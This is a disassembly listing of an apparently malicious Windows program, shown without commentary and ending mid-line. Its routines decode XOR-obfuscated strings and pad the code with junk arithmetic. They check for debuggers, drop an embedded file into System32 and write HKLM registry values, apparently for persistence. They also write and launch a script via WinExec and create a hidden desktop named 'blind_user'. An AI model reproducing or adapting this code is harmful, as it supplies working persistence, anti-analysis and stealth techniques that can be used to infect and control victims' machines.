		call	sub_40CA18
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_320]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_31C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_318]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_314]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		push	edi
		lea	edi, [ebp+var_269]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		lea	edi, [ebp+var_2E9]
		lea	esi, aVEM	; "v e~m"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_2DE]
		push	eax
		call	sub_4039D6
		add	esp, 34h
		mov	ebx, 3F4Bh
		sub	ebx, 721Bh
		lea	edi, [ebp+var_2F1]
		lea	esi, aKPyesn	; "k&PYESN"
		mov	ecx, 2
		rep movsd
		call	sub_40CA18
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_101], dl
		lea	edi, [ebp+var_2F4]
		lea	esi, aAj	; "aJ"
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1], 1
		jmp	short loc_403E4A
; ---------------------------------------------------------------------------

loc_403E1A:				; CODE XREF: sub_403C5F+1F0j
		call	sub_40CA18
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_101], dl
		add	[ebp+var_1], 1

loc_403E4A:				; CODE XREF: sub_403C5F+1B9j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403E1A
		mov	[ebp+var_26C], 789Fh
		movzx	eax, [ebp+var_26C]
		imul	eax, 7E80h
		mov	[ebp+var_26C], ax
		mov	[ebp+var_F9], 0
		call	sub_40CA18
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403EA8
		call	sub_40C574	; GetProcessHeap
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_324], 1F1Ah
		add	[ebp+var_324], 4A03h
		mov	[ebp+var_FA], 32h

loc_403EA8:				; CODE XREF: sub_403C5F+220j
		push	9
		push	offset word_44661E
		call	sub_403936
		lea	edi, [ebp+var_101]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_205]
		push	edi
		call	sub_40CA30
		lea	edi, [ebp+var_2F5]
		lea	esi, byte_441202
		xor	ecx, ecx
		inc	ecx
		rep movsb
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_403449
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_270], 1D0Fh
		inc	[ebp+var_270]
		push	[ebp+arg_0]
		mov	eax, offset aMjanfj32 ;	"Mjanfj32"
		push	eax
		call	sub_40CA30
		push	0
		lea	eax, [ebp+var_2FC]
		push	eax
		push	1A01h
		push	offset dword_43C1A8
		push	ebx
		call	sub_40C730	; WriteFile
		lea	edi, [ebp+var_2FF]
		lea	esi, byte_441203
		mov	ecx, 3
		rep movsb
		push	ebx
		call	sub_40C55C	; CloseHandle
		call	sub_40C634	; IsDebuggerPresent
		push	17h
		push	offset word_446606
		call	sub_403936
		lea	edi, [ebp+var_269]
		push	edi
		push	eax
		lea	edi, [ebp+var_101]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_271], 81h
		add	[ebp+var_271], 1
		lea	eax, [ebp+var_205]
		push	eax
		push	offset byte_446605
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_40404B
		mov	[ebp+var_278], 2820h
		mov	eax, 260Ch
		mul	[ebp+var_278]
		mov	[ebp+var_324], eax
		mov	[ebp+var_278], eax
		push	0Eh
		push	offset word_4465F6
		call	sub_403936
		mov	[ebp+var_328], eax
		push	9
		push	offset dword_4465EC
		call	sub_403936
		push	eax
		mov	edi, [ebp+var_328]
		push	edi
		lea	edi, [ebp+var_101]
		push	edi
		push	80000000h
		call	sub_40404B
		call	sub_40C598	; GetTickCount
		push	45h
		push	offset word_4465A6

loc_404010:				; DATA XREF: .data:0043E139w
					; .data:0043E153w ...
		call	sub_403936
		lea	edi, [ebp+var_269]
		push	edi
sub_403C5F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40401C	proc near		; DATA XREF: .data:0043E1CDo
					; .data:0043E21Cr
		lea	edi, [ebp-2DEh]
		push	edi
		push	eax
sub_40401C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404024	proc near		; DATA XREF: .data:0043E201o
					; .data:0043E216r ...
		push	80000002h
		call	sub_40404B	; DATA XREF: .data:loc_43E1A1r
					; .data:loc_43E1B1r
		add	esp, 80h	; DATA XREF: .data:0043E0A5w

loc_404034:				; DATA XREF: .data:0043E0AFw
					; .data:0043E0CAr ...
		mov	word ptr [ebp-27Ah], 2967h
		sub	word ptr [ebp-27Ah], 716Eh
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404024	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404B	proc near		; CODE XREF: sub_403C5F+348p
					; sub_403C5F+3A0p ...

var_17		= byte ptr -17h
var_F		= byte ptr -0Fh
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_6], 396Fh
		sub	[ebp+var_6], 2933h
		inc	dword_43B228
		lea	edi, [ebp+var_F]
		lea	esi, word_441206
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_17]
		lea	esi, aUs6arh	; " US6�rH"
		movsd
		movsd
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]

loc_40408C:				; DATA XREF: .data:0043E054w
		push	eax
		push	0
		push	0F003Fh		; DATA XREF: .data:0043E059w
					; .data:0043E075w

loc_404094:				; DATA XREF: .data:0043E5B4w
					; .data:0043E5BAr ...
		push	0
		push	0
sub_40404B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404098	proc near		; DATA XREF: .data:loc_43E4BDo
					; .data:0043E519o ...
		push	0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40C91C	; RegCreateKeyExA
		call	sub_40C5A4	; GetVersion
sub_404098	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4040AA	proc near		; DATA XREF: sub_43E630+Co
		mov	eax, [ebp+14h]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_4040B2:				; CODE XREF: sub_4040AA+Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4040B2
		mov	[ebp-0Ch], eax	; DATA XREF: sub_43E630+1Co
		call	sub_40C634	; IsDebuggerPresent
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp+14h]
		push	1
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-4]
		call	sub_40C94C	; RegSetValueExA
		call	sub_40C574	; GetProcessHeap
		push	dword ptr [ebp-4]
		call	sub_40C928	; RegCloseKey
		mov	ebx, 4DD8h
		mov	eax, 4D1Ah
		mul	ebx
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	ebx, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4040AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040FC	proc near		; CODE XREF: sub_404194+FEp
					; sub_404194+11Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44121C
		lea	eax, ds:411DB0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_40413C
; ---------------------------------------------------------------------------

loc_404122:				; CODE XREF: sub_4040FC+42j
		mov	eax, dword_44121C
		add	eax, edi
		lea	eax, ds:411DB0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0ADh
		mov	[eax], dl
		inc	edi

loc_40413C:				; CODE XREF: sub_4040FC+24j
		cmp	edi, esi
		jl	short loc_404122
		mov	[ebp+var_4], 1A7h
		mov	eax, dword_44121C
		add	eax, esi
		mov	byte ptr ds:dword_411DB0[eax], 0
		mov	edi, dword_44121C
		add	dword_44121C, 2
		mov	eax, dword_44121C
		lea	eax, [eax+esi+2]
		mov	dword_44121C, eax
		inc	dword_44121C
		cmp	dword_44121C, 0DB6h
		jle	short loc_40418A
		and	dword_44121C, 0

loc_40418A:				; CODE XREF: sub_4040FC+85j
		lea	eax, dword_411DB0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4040FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404194	proc near		; CODE XREF: sub_40A766+33Dp

var_14BA	= byte ptr -14BAh
var_14B3	= byte ptr -14B3h
var_14B2	= byte ptr -14B2h
var_14AC	= byte ptr -14ACh
var_14A7	= byte ptr -14A7h
var_14A4	= byte ptr -14A4h
var_149C	= byte ptr -149Ch
var_1499	= byte ptr -1499h
var_1496	= byte ptr -1496h
var_1397	= byte ptr -1397h
var_1396	= byte ptr -1396h
var_1395	= byte ptr -1395h
var_1394	= dword	ptr -1394h
var_1384	= dword	ptr -1384h
var_1300	= byte ptr -1300h
var_1201	= byte ptr -1201h
var_1102	= word ptr -1102h
var_10FF	= byte ptr -10FFh
var_10FE	= byte ptr -10FEh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		mov	eax, 14BCh
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10FF],	5Ah
		movzx	eax, [ebp+var_10FF]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_10FF],	al
		lea	edi, [ebp+var_1499]
		lea	esi, byte_441220
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_149C]
		lea	esi, byte_441223
		mov	ecx, 3
		rep movsb
		push	0FFh
		lea	eax, [ebp+var_1300]
		push	eax
		push	0
		call	sub_40C544	; GetModuleFileNameA
		mov	ebx, 2910h
		inc	ebx
		mov	[ebp+var_1394],	94h
		mov	[ebp+var_1102],	6834h
		movzx	eax, [ebp+var_1102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1102],	ax
		lea	eax, [ebp+var_1394]
		push	eax
		call	sub_40C5B0	; GetVersionExA
		mov	[ebp+var_1395],	0B9h
		add	[ebp+var_1395],	1
		lea	edi, [ebp+var_14A4]
		lea	esi, aNb_ya	; "%&nb.ya"
		movsd
		movsd
		cmp	[ebp+var_1384],	2
		jnz	loc_4042E9
		mov	[ebp+var_14B3],	0DCh
		add	[ebp+var_14B3],	90h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		lea	edi, [ebp+var_14BA]
		lea	esi, a@p	; "  $~@p"
		mov	ecx, 7
		rep movsb
		push	0Fh
		push	offset word_446596
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1201]
		push	edi
		call	sub_40CA30
		push	0Ah
		push	offset byte_44658B
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1496]
		push	edi
		call	sub_40CA30
		push	8
		push	offset word_446582
		call	sub_4040FC
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		add	esp, 38h
		jmp	short loc_404365
; ---------------------------------------------------------------------------

loc_4042E9:				; CODE XREF: sub_404194+BFj
		call	sub_40C574	; GetProcessHeap
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C5C8	; GetWindowsDirectoryA
		call	sub_40C598	; GetTickCount
		push	0Fh
		push	offset word_446572
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1201]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		push	0Eh
		push	offset byte_446563
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1496]
		push	edi
		call	sub_40CA30
		push	0Ch
		push	offset word_446556
		call	sub_4040FC
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		add	esp, 38h

loc_404365:				; CODE XREF: sub_404194+153j
		lea	eax, [ebp+var_1496]
		push	eax
		call	sub_40C760	; DeleteFileA
		call	sub_40C598	; GetTickCount
		lea	edi, [ebp+var_14A7]
		lea	esi, aP		; " p"
		mov	ecx, 3
		rep movsb
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_1201]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		lea	edi, [ebp+var_14B2]
		lea	esi, aVk_0	; " vK%;"
		mov	ecx, 3
		rep movsw
		push	39h
		push	offset aCAzaNiUAzaNNiN ; "����ݠ�������ޓ�������ˍ����ٍ�ލ����"...
		call	sub_4040FC
		lea	edi, [ebp+var_1201]
		push	edi
		lea	edi, [ebp+var_1300]
		push	edi
		lea	edi, [ebp+var_1300]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40CA30
		add	esp, 1Ch
		call	sub_40C514	; GetCurrentThreadId
		lea	ecx, [ebp+var_10FE]
		or	eax, 0FFFFFFFFh

loc_4043FC:				; CODE XREF: sub_404194+26Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4043FC
		push	0
		lea	esi, [ebp+var_14AC]
		push	esi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		push	ebx
		call	sub_40C730	; WriteFile
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	ebx, 5F3Bh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		push	8
		push	offset aINvuni	; "�ލ��"
		call	sub_4040FC
		add	esp, 8
		lea	edi, [ebp+var_1201]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40CA30
		add	esp, 10h
		mov	[ebp+var_1396],	0B7h
		sub	[ebp+var_1396],	77h
		push	0
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_40C724	; WinExec
		mov	[ebp+var_1397],	22h
		sub	[ebp+var_1397],	6Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404194	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 20Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_441248
		lea	eax, ds:42FD00h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 331h
		xor	edi, edi
		jmp	short loc_4044D6
; ---------------------------------------------------------------------------

loc_4044BC:				; CODE XREF: .text:004044D8j
		mov	eax, dword_441248
		add	eax, edi
		lea	eax, ds:42FD00h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8Fh
		mov	[eax], dl
		inc	edi

loc_4044D6:				; CODE XREF: .text:004044BAj
		cmp	edi, esi
		jl	short loc_4044BC
		mov	eax, dword_441248
		add	eax, esi
		mov	byte ptr ds:dword_42FD00[eax], 0
		mov	edi, dword_441248
		inc	dword_441248
		mov	eax, dword_441248
		lea	eax, [eax+esi+6]
		mov	dword_441248, eax
		add	dword_441248, 2
		cmp	dword_441248, 0DFDh
		jle	short loc_40451D
		and	dword_441248, 0

loc_40451D:				; CODE XREF: .text:00404514j
		lea	eax, dword_42FD00[edi]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_404525	proc near		; DATA XREF: sub_43E731+A6o
		leave
		retn
sub_404525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404527	proc near		; CODE XREF: sub_4062CD+21Bp
					; sub_408BE4+13Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		cmp	dword_44124C, 0
		jz	short loc_40456A
		mov	[ebp+var_C], 30A1h
		inc	[ebp+var_C]
		call	sub_40C514	; GetCurrentThreadId
		push	eax
		call	sub_40C838	; GetThreadDesktop
		mov	[ebp+var_10], eax
		call	sub_40C598	; GetTickCount
		mov	eax, dword_44124C
		cmp	[ebp+var_10], eax
		jnz	short loc_40459E
		xor	eax, eax
		inc	eax
		jmp	short loc_4045B2
; ---------------------------------------------------------------------------

loc_40456A:				; CODE XREF: sub_404527+15j
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
sub_404527	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; DATA XREF: sub_43E731+E0o
		call	sub_40C820	; CreateDesktopA
		mov	dword_44124C, eax
sub_40457C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404586	proc near		; DATA XREF: sub_43E731+476o
		lea	edi, [ebp-8]
		lea	esi, aK0iJ_0	; " K0i=J "
		movsd
		movsd
		cmp	dword_44124C, 0
		jnz	short loc_40459E
		xor	eax, eax
		jmp	short loc_4045B2
; ---------------------------------------------------------------------------

loc_40459E:				; CODE XREF: sub_404527+3Cj
					; sub_404586+12j
		push	dword_44124C
		call	sub_40C82C	; SetThreadDesktop
		mov	ebx, eax
		call	sub_40C5A4	; GetVersion
		mov	eax, ebx

loc_4045B2:				; CODE XREF: sub_404527+41j
					; sub_404586+16j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404586	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B7	proc near		; CODE XREF: sub_4062CD+2A2p
					; sub_408BE4+18Fp

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		mov	[ebp+var_2], 294Bh
		movzx	eax, [ebp+var_2]
		imul	eax, 2277h
		mov	[ebp+var_2], ax
		leave
		retn
sub_4045B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045E2	proc near		; CODE XREF: sub_404663+53p
					; sub_404663+97p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
sub_4045E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: sub_43E731+4B8o
		mov	eax, dword_441260
		lea	eax, ds:416690h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 249h
		xor	edi, edi
		jmp	short loc_404626
; ---------------------------------------------------------------------------

loc_40460F:				; CODE XREF: sub_4045EF+39j
		mov	eax, dword_441260
		add	eax, edi
		lea	eax, ds:416690h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 6Ch
		mov	[eax], dl
		inc	edi

loc_404626:				; CODE XREF: sub_4045EF+1Ej
		cmp	edi, esi
		jl	short loc_40460F
		mov	eax, dword_441260
		add	eax, esi
		mov	byte ptr ds:dword_416690[eax], 0
		mov	edi, dword_441260
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_441260, eax
		cmp	eax, 0DACh
		jle	short loc_404659
		and	dword_441260, 0

loc_404659:				; CODE XREF: sub_4045EF+61j
		lea	eax, dword_416690[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404663	proc near		; CODE XREF: sub_405601+6DBp
					; sub_405601+784p ...

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_109		= dword	ptr -109h
var_105		= byte ptr -105h
var_103		= byte ptr -103h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CA54
		add	esp, 8
		call	sub_40C574	; GetProcessHeap
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_40476E
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_FF], 0
		call	sub_40C634	; IsDebuggerPresent
		push	3
		push	offset dword_446504
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h
		lea	edi, [ebp+var_10A]
		lea	esi, aUng9Q	; "unG9	Q"
		mov	ecx, 7
		rep movsb
		mov	[ebp+var_103], 0
		jmp	short loc_40473C
; ---------------------------------------------------------------------------

loc_4046E1:				; CODE XREF: sub_404663+E1j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404735
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp+var_110], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_110]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404735:				; CODE XREF: sub_404663+8Ej
		add	[ebp+var_103], 1

loc_40473C:				; CODE XREF: sub_404663+7Cj
		mov	al, [ebp+var_103]
		cmp	al, 0Ah
		jb	short loc_4046E1
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CA54
		push	3
		push	offset off_4464FB
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 18h

loc_40476E:				; CODE XREF: sub_404663+35j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404855
		mov	eax, dword_44126B
		mov	[ebp+var_109], eax
		push	10h
		push	offset word_4464EA
		call	sub_4045E2
		mov	[ebp+var_110], eax
		call	sub_40CA18
		mov	[ebp+var_114], eax
		call	sub_40CA18
		mov	[ebp+var_118], eax
		call	sub_40CA18
		mov	[ebp+var_11C], eax
		call	sub_40CA18
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_11C]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_118]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_114]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_110]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		mov	word ptr [ebp-104h], 6A38h
		add	word ptr [ebp-104h], 2C92h
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 28h
		mov	[ebp+var_105], 0BDh
		add	[ebp+var_105], 1

loc_404855:				; CODE XREF: sub_404663+11Bj
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404905
		mov	eax, dword_44126F
		mov	[ebp+var_109+3], eax
		push	0Ah
sub_404663	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404878	proc near		; DATA XREF: sub_43E731+55Bo
		push	offset byte_4464DF
		call	sub_4045E2
		mov	[ebp-10Ch], eax
		call	sub_40CA18
		mov	[ebp-110h], eax
		call	sub_40CA18
		mov	[ebp-114h], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-114h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 24h

loc_404905:				; CODE XREF: sub_404663+202j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40492D
		push	2
		push	offset aAf	; "af"
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_40492D:				; CODE XREF: sub_404878+9Dj
		mov	word ptr [ebp-102h], 140Ah
		movzx	eax, word ptr [ebp-102h] ; DATA	XREF: sub_43E731+41Dr
		imul	eax, 5B3Bh
		mov	[ebp-102h], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404878	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40494F	proc near		; CODE XREF: sub_4056